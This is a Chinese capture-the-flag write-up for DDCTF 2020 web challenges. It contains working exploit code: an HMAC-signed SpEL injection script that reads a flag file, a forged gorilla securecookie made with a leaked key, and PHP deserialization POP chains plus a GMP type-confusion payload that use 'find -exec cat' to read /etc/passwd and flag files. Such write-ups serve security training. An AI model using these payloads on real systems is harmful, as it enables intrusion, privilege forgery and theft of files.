DDCTF2020 web部分wp

Web签到题

首先篡改jwt来获取client,jwt的秘钥就是自己设的密码;

查看client内容可以发现这是用go语言编译的,可以使用ida来查看sign流程:

1.下载项目 git clone https://github.com/sibears/IDAGolangHelper

2.修改文件 GO_Utils/__init__.py,将第16行self.bt_obj = Utils.get_bitness(ida_ida.inf_get_min_ea())替换为self.bt_obj = Utils.get_bitness(idc.BeginEA())

3.使用IDA->File->Script File 打开IDAGolangHelper项目中的go_entry.py

4.选择Go版本(默认1.2),点击Rename functions

查看main_getSign函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
__int64 __fastcall main_getSign(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int128 a7, __int64 a8)
{
__int64 v8; // rcx
__int64 v9; // rdx
__int64 v10; // r8
__int64 v11; // rax
__int64 v12; // rcx
__int64 v13; // rbx
__int64 v14; // rdx
__int64 v15; // r8
__int64 v16; // r9
__int64 v17; // rax
__int64 v18; // rcx
__int64 v19; // rbx
__int64 v20; // rdx
__int64 v21; // r8
__int64 v22; // r9
__int64 v23; // rdx
__int64 v24; // r8
__int64 v25; // r9
__int64 v26; // rdx
__int64 v27; // r8
__int64 v28; // r9
__int64 v29; // rdx
__int64 v30; // rdx
__int64 v31; // rcx
__int64 v32; // r8
__int64 v33; // r9
__int64 v34; // rdx
__int64 v35; // r8
__int64 v36; // rdx
__int64 v37; // r8
__int64 v38; // rax
__int64 v39; // rcx
__int64 v40; // rbx
__int64 v41; // rdx
__int64 v42; // r8
__int64 v43; // rax
__int64 v44; // rcx
__int64 v45; // rbx
__int64 v46; // rdx
__int64 v47; // r8
__int64 v48; // rax
__int64 v49; // rcx
__int64 v50; // rbx
const char *v52; // [rsp+0h] [rbp-148h]
__int128 v53; // [rsp+8h] [rbp-140h]
__m256i v54; // [rsp+18h] [rbp-130h]
__int64 v55; // [rsp+38h] [rbp-110h]
__int128 v56; // [rsp+40h] [rbp-108h]
const char *v57; // [rsp+50h] [rbp-F8h]
__int64 v58; // [rsp+58h] [rbp-F0h]
__int128 v59; // [rsp+60h] [rbp-E8h]
__int64 v60; // [rsp+70h] [rbp-D8h]
__int64 v61; // [rsp+78h] [rbp-D0h]
__int128 v62; // [rsp+80h] [rbp-C8h]
__int128 v63; // [rsp+90h] [rbp-B8h]
__int128 v64; // [rsp+A0h] [rbp-A8h]
__int128 v65; // [rsp+B0h] [rbp-98h]
__int64 v66; // [rsp+C0h] [rbp-88h]
__int64 *v67; // [rsp+C8h] [rbp-80h]
__int128 v68; // [rsp+D0h] [rbp-78h]
__int128 v69; // [rsp+E0h] [rbp-68h]
__int64 v70; // [rsp+F0h] [rbp-58h]
__int64 v71; // [rsp+F8h] [rbp-50h]
__int64 v72; // [rsp+100h] [rbp-48h]
__int64 v73; // [rsp+108h] [rbp-40h]
__int64 v74; // [rsp+110h] [rbp-38h]
__int64 v75; // [rsp+118h] [rbp-30h]
__int64 v76; // [rsp+120h] [rbp-28h]
__int64 v77; // [rsp+128h] [rbp-20h]
__int64 v78; // [rsp+130h] [rbp-18h]
__int64 v79; // [rsp+138h] [rbp-10h]
__int64 v80; // [rsp+140h] [rbp-8h]

while ( 1 )
{
v8 = __readfsqword(0xFFFFFFF8);
if ( (unsigned __int64)&v62 > *(_QWORD *)(v8 + 16) )
break;
runtime_morestack_noctxt(a1, a2);
}
v64 = a7;
v55 = a8;
v71 = 0LL;
v72 = 0LL;
v73 = 0LL;
v74 = 0LL;
if ( &v52 == (const char **)-248LL )
LODWORD(v71) = (unsigned __int64)&v62;
*(_QWORD *)&v68 = 2LL;
*((_QWORD *)&v68 + 1) = 2LL;
v67 = &v71;
v52 = (const char *)&unk_6A1040;
*(_QWORD *)&v53 = &v64;
*((_QWORD *)&v53 + 1) = 0LL;
runtime_convT2E(a1, a2, a3, v8, a5);
v11 = v54.m256i_i64[1];
v12 = v54.m256i_i64[0];
v13 = (__int64)v67;
v60 = v54.m256i_i64[0];
*v67 = v54.m256i_i64[0];
v61 = v11;
if ( byte_963800 )
{
v52 = (const char *)(v13 + 8);
*(_QWORD *)&v53 = v11;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v13 + 8) = v11;
}
v52 = (const char *)&unk_69EDC0;
*(_QWORD *)&v53 = &v55;
*((_QWORD *)&v53 + 1) = 0LL;
runtime_convT2E(a1, a2, v9, v12, v10);
v17 = v54.m256i_i64[1];
v18 = v54.m256i_i64[0];
v19 = (__int64)(v67 + 2);
v60 = v54.m256i_i64[0];
v67[2] = v54.m256i_i64[0];
v61 = v17;
if ( byte_963800 )
{
v52 = (const char *)(v19 + 8);
*(_QWORD *)&v53 = v17;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v19 + 8) = v17;
}
*(_QWORD *)&v53 = 5LL;
*((_QWORD *)&v53 + 1) = v67;
*(_OWORD *)v54.m256i_i8 = v68;
fmt_Sprintf(a1, a2, v14, v18, v15, v16, (__int64)"%s|%d");
v52 = 0LL;
v63 = *(_OWORD *)&v54.m256i_u64[2];
v53 = *(_OWORD *)&v54.m256i_u64[2];
runtime_stringtoslicebyte(a1, a2, v20, v54.m256i_i64[2], v21, v22);
v65 = *(_OWORD *)v54.m256i_i8;
v66 = v54.m256i_i64[2];
v52 = 0LL;
v57 = "DDCTFWithYou";
*(_QWORD *)&v53 = "DDCTFWithYou";
v58 = 12LL;
*((_QWORD *)&v53 + 1) = 12LL;
runtime_stringtoslicebyte(a1, a2, v23, (__int64)"DDCTFWithYou", v24, v25);
v26 = v54.m256i_i64[0];
v52 = (const char *)off_827EE0;
v69 = *(_OWORD *)v54.m256i_i8;
v53 = *(_OWORD *)v54.m256i_i8;
v70 = v54.m256i_i64[2];
v54.m256i_i64[0] = v54.m256i_i64[2];
crypto_hmac_New(a1, a2, v26, v54.m256i_i64[1], v27, v28);
v53 = v65;
v54.m256i_i64[0] = v66;
v52 = (const char *)v54.m256i_i64[2];
v59 = *(_OWORD *)&v54.m256i_u64[1];
(*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v54.m256i_i64[1] + 64))(a1, a2, v29, v54.m256i_i64[1]);
v53 = 0uLL;
v54.m256i_i64[0] = 0LL;
v52 = (const char *)*((_QWORD *)&v59 + 1);
(*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v59 + 56))(a1, a2, v30, v31);
v52 = (const char *)qword_946330;
v69 = *(_OWORD *)&v54.m256i_u64[1];
v53 = *(_OWORD *)&v54.m256i_u64[1];
v70 = v54.m256i_i64[3];
v54.m256i_i64[0] = v54.m256i_i64[3];
encoding_base64__ptr_Encoding_EncodeToString(a1, a2, v54.m256i_i64[1], v54.m256i_i64[2], v32, v33);
v56 = *(_OWORD *)&v54.m256i_u64[1];
v64 = *(_OWORD *)&v54.m256i_u64[1];
v62 = a7;
v55 = a8;
v75 = 0LL;
v76 = 0LL;
v77 = 0LL;
v78 = 0LL;
v79 = 0LL;
v80 = 0LL;
if ( &v52 == (const char **)-280LL )
LODWORD(v75) = v54.m256i_i32[4];
*(_QWORD *)&v68 = 3LL;
*((_QWORD *)&v68 + 1) = 3LL;
v67 = &v75;
v52 = (const char *)&unk_6A1040;
*(_QWORD *)&v53 = &v64;
*((_QWORD *)&v53 + 1) = 0LL;
runtime_convT2E(a1, a2, v34, v54.m256i_i64[1], v35);
v38 = v54.m256i_i64[1];
v39 = v54.m256i_i64[0];
v40 = (__int64)v67;
v60 = v54.m256i_i64[0];
*v67 = v54.m256i_i64[0];
v61 = v38;
if ( byte_963800 )
{
v52 = (const char *)(v40 + 8);
*(_QWORD *)&v53 = v38;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v40 + 8) = v38;
}
v52 = (const char *)&unk_6A1040;
*(_QWORD *)&v53 = &v62;
*((_QWORD *)&v53 + 1) = 0LL;
runtime_convT2E(a1, a2, v36, v39, v37);
v43 = v54.m256i_i64[1];
v44 = v54.m256i_i64[0];
v45 = (__int64)(v67 + 2);
v60 = v54.m256i_i64[0];
v67[2] = v54.m256i_i64[0];
v61 = v43;
if ( byte_963800 )
{
v52 = (const char *)(v45 + 8);
*(_QWORD *)&v53 = v43;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v45 + 8) = v43;
}
v52 = (const char *)&unk_69EDC0;
*(_QWORD *)&v53 = &v55;
*((_QWORD *)&v53 + 1) = 0LL;
runtime_convT2E(a1, a2, v41, v44, v42);
v48 = v54.m256i_i64[1];
v49 = v54.m256i_i64[0];
v50 = (__int64)(v67 + 4);
v60 = v54.m256i_i64[0];
v67[4] = v54.m256i_i64[0];
v61 = v48;
if ( byte_963800 )
{
v52 = (const char *)(v50 + 8);
*(_QWORD *)&v53 = v48;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v50 + 8) = v48;
}
v52 = "[+]get sign:%s, command:%s, time_stamp:%d";
*(_QWORD *)&v53 = 41LL;
*((_QWORD *)&v53 + 1) = v67;
*(_OWORD *)v54.m256i_i8 = v68;
return log_Printf(a1, a2, v46, v49, v47);
}

可以看到使用了crypto_hmac_New,那么可以猜测使用hmac加密,秘钥为DDCTFWithYou,验证:

接着查看请求包格式,这里直接用tcpdump抓取http流量:

1
sudo tcpdump tcp -i enp0s5 -v -t

执行./client,得到请求包:

1
2
3
4
5
6
7
8
POST /server/command HTTP/1.1
Host: 117.51.136.197
User-Agent: Go-http-client/1.1
Content-Length: 103
Content-Type: application/json
Accept-Encoding: gzip

{"signature":"NozErFvXwSXpk5wmuuhRJYjG7yI59bs0XYUE9kbHUfQ=","command":"'DDCTF'","timestamp":1599807836}

最后是一个spel注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf8
import hmac
import base64
from hashlib import sha256
import time
import requests
import json

ts = int(time.time())

appsecret = "DDCTFWithYou".encode('utf-8') # 秘钥
data1 = "new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()"
data2 = data1 + "|" + str(ts)
data3 = data2.encode('utf-8') # 加密数据
signature = base64.b64encode(hmac.new(appsecret, data3, digestmod=sha256).digest())
print signature

url = 'http://117.51.136.197/server/command'

data = {"signature":"%s"%signature,"command":data1,"timestamp":"%s"%ts}
print(json.dumps(data))
s = requests.post(url, data=json.dumps(data)).text
print(s)

卡片商店

每20s可免费获得1张卡片,且借给朋友1张可以收到4张卡片,向朋友借1张需要换3张,那么每次可以获取5张卡片;写脚本跑到100张卡片,不过兑换礼物时显示活动过期

后来在借卡片处发现存在溢出(dd去年也有go溢出的题。。),向朋友借4294967295,只需还1张:

便可兑换礼物

访问/flag,显示:

1
{"msg":"对不起,您不是幸运玩家!"}

查看cookie,对其直接进行两次base64解码:

百度go语言cookie,发现文章提到了securecookie,在github上找到一个可以直接解密和伪造securecookie的工具:

https://github.com/EddieIvan01/secure-cookie-faker

将admin改为true:

p:用go伪造cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import (
"fmt"
"github.com/gorilla/securecookie"
)

var (
hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
init = securecookie.New(hashKey, nil)
cookie = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj"
)

func main() {
var values map[interface{}]interface{}
if err := init.Decode("session",cookie, &values); err == nil {
fmt.Print(values)
values["admin"] = true
fmt.Print(init.Encode("session", values))
}
}

Overwrite Me

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 2;
}

public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

直接访问hint/hint.php,可以得到前半部分flag,并且给出提示GMP

escapeshellcmd后的命令执行可参考文章:http://www.52bug.cn/hkjs/4879.html

方法1

MiddleMan$content为一个数组,第一个元素是new MyClass,第二个元素是get_flag,那么它被当成函数执行时会调用get_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class MyClass
{
var $kw0ng;
var $flag;

function __construct(){
$this->flag = '-iname sth -or -exec cat /etc/passwd ; -quit';
}
}

class ShowOff
{
public $contents;
public $page;
}

class MiddleMan
{
private $cont;
public $content;
}

$a = new ShowOff();
$b = new MiddleMan();
$a->page = $b;
$b->content = [new MyClass(), 'get_flag'];
echo urlencode(serialize($a));
?>

方法2

GMP类型混淆漏洞:https://www.anquanke.com/post/id/210181

可以利用该漏洞修改反序列化前声明的对象属性

1
2
3
php 5.6.x
反序列化入口点
可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

目标版本是php5.6.10,验证Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 1;
}
}

class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
}
}

$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';
unserialize($exploit);
echo $mc->flag;
?>

需要注意的点:

s:1:"3";中的3表示MyClass是第三个实例化的对象